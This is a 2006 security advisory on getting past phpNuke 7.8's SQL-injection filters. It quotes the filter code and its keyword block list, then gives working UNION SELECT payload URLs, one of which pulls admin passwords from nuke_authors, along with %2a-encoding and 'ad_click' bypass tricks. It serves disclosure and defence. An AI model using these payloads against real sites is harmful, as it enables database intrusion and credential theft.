[waraxe-2006-SA#047] - Evading sql-injection filters in phpNuke 7.8

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{                [ Evading sql-injection filters in phpNuke 7.8 ]               
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Author: Janek Vind "waraxe"
Date: 25. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-47.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets 
and
Internet. The Administrator has total control of his web site, registered 
users, and
he will have in the hand a powerful assembly of tools to maintain an active and 
100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke is known to be exploitable by many sql injection variations. This is 
due to
very poor coding quality and no-security-in-mind-at-all programming style.
And instead of rewriting phpNuke from scratch, there are many filters, patches, 
code
improvements and so on, directed to "curing" specific security holes. This 
particular
advisory will address weaknesses in anti-sql-injection filters, used in phpNuke 
7.8
version.


Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So, what can we see in "mainfile.php", line ~20:

----------------[ from source code ]------------------

//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /",
 rawurldecode($loc=$_SERVER["QUERY_STRING"]), $matches)) {
        die();
}

$queryString = strtolower($_SERVER['QUERY_STRING']);
if (stripos_clone($queryString,'%20union%20') OR 
stripos_clone($queryString,'/*')
 OR stripos_clone($queryString,'*/union/*') OR 
stripos_clone($queryString,'c2nyaxb0')) {
        header("Location: index.php");
        die();
}
----------------[ /from source code ]-----------------

Two different filters can be spotted, one of them will stop script execution, 
second
one redirects to index page.
So let's start with experimenting part.

Test #1:

http://localhost/nuke78/?kala=p0hh%20UNION%20ALL%20SELECT%201,2,3,4,5%20FROM%20nuke_authors/*

... and we get caught by first filter (because we get only blank page).


Ok, let' modify our attack string.

Test #2:

http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/*

... And second filter is about kicking our a$$ (we got redirected to index).


Hmmm, how about this one ...

Test #3":

http://localhost/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a


Yeah - we got through :)


And now let's be honest against nuke patches releasers and let's try this 
working 
string against PATCHED phpNuke 7.8.

Details:

patch file -  "78patched3dot2.zip"
version 3.2
Download URL - 
http://www.nukeresources.com/downloadview-details-1037-Nuke_7.8_Patched.html

Test#4:

http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a


and WE GET CAUGHT with message "Illegal Operation" ...

Oh my ...

What we can see in patched "mainfile.php":

----------------[ from source code ]------------------

// Additional security (Union, CLike, XSS)
if(!file_exists('includes/nukesentinel.php')) {
  //Union Tap
  //Copyright Zhen-Xjell 2004 http://nukecops.com
  //Beta 3 Code to prevent UNION SQL Injections
  unset($matches);
  unset($loc);
  if(isset($_SERVER['QUERY_STRING'])) {
    if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /", 
rawurldecode($loc=$_SERVER['QUERY_STRING']), $matches)) {
      die('Illegal Operation');
    }
  }
  if((!is_admin($admin)) AND (isset($_SERVER['QUERY_STRING'])) 
AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) {
    $queryString = $_SERVER['QUERY_STRING'];
    if ((stristr($queryString,'%20union%20')) OR (stristr($queryString,'/*')) 
OR (stristr($queryString,'*/union/*')) OR (stristr($queryString,'c2nyaxb0')) OR
 (stristr($queryString,'+union+')) OR (stristr($queryString,'http://')) OR
 ((stristr($queryString,'cmd=')) AND (!stristr($queryString,'&cmd'))) OR 
((stristr($queryString,'exec')) AND (!stristr($queryString,'execu'))) OR
 (stristr($queryString,'concat'))) {
      die('Illegal Operation');
    }
  }
}----------------[ /from source code ]-----------------

This code seems very restrictive, but ... wait a minute ...

"AND (!stristr($_SERVER['QUERY_STRING'], "ad_click"))) {" - what is this ??????

This is code snippet for DEACTIVATING anti-sql-injection filter in case of 
specific events. Yeah, this little code fragment renders all the filter 
absolutely
useless:

Test #5:

http://localhost/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,4,5+FROM+ppp/%2aad_click


.. and patched phpNuke 7.8 will let through our testing sql injection string!!



Greets to all who know me and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Be creative and try to improve that filter by yourself :)


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@yahoo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

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